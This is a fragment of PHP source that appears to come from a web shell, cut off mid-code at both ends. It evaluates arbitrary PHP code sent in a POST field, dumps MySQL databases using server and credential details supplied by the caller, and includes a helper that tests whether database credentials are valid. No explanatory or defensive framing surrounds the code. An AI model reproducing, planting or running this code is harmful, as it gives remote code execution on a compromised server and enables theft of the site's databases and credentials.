$eval = @str_replace("<?", "", $_POST['php_eval']); $eval = @str_replace("?>", "", $eval); @eval($eval); } if ($_POST['cmd'] == "mysql_dump") { if (isset($_POST['dif'])) { $fp = @fopen($_POST['dif_name'], "w"); } $sql = new my_sql(); $sql->db = $_POST['db']; $sql->host = $_POST['db_server']; $sql->port = $_POST['db_port']; $sql->user = $_POST['mysql_l']; $sql->pass = $_POST['mysql_p']; $sql->base = $_POST['mysql_db']; if (!$sql->connect()) { echo "[-] ERROR! Can't connect to SQL server"; } else { if (!$sql->select_db()) { echo "[-] ERROR! Can't select database"; } else { if (!$sql->dump($_POST['mysql_tbl'])) { echo "[-] ERROR! Can't create dump"; } else { if (empty($_POST['dif'])) { foreach ($sql->dump as $v) { echo $v . "\r\n"; } } else { if ($fp) { foreach ($sql->dump as $v) {
function z4u($host, $user, $pass, $port, $dbtype, $base = '') { $sql = new my_sql(); $sql->db = $dbtype; $sql->host = $host; $sql->port = $port; $sql->user = $user; $sql->pass = $pass; if ($base != '') { $sql->base = $base; } if ($sql->connect()) { return "valid"; } else { return "invalid"; } }